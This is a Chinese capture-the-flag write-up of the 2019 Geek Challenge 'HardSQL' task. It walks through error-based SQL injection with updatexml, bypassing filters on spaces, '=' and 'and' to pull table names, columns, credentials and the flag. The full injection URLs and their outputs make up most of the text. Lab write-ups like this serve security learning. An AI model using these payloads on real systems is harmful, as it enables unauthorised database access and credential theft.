[原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)

简介

 原题复现:

 考察知识点:SQL注入(报错注入,绕过过滤)

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

复现

经过手工测试过滤了and、= 空格 union等多个sql关键字

要思考如何绕过这些关键字去注入!

使用updatexml报错法注入

查数据库信息

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

结果:geek
查表

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

结果:H4rDsq1

查字段

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21

结果:id,username,password
查数据

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21

结果:flag~flag{9f09946d-4c83-40f5-98

看wp说用right()语句在查询后面部分  这样就可以了 又get到了新技能。。。。

只查到了一半再用left()right()语句查询拼接

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

结果:XPATH syntax error: '~3-40f5-9828-9593ee5f3f4c}~'

拼接后结果:
flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}

原文地址:https://www.cnblogs.com/xhds/p/12311408.html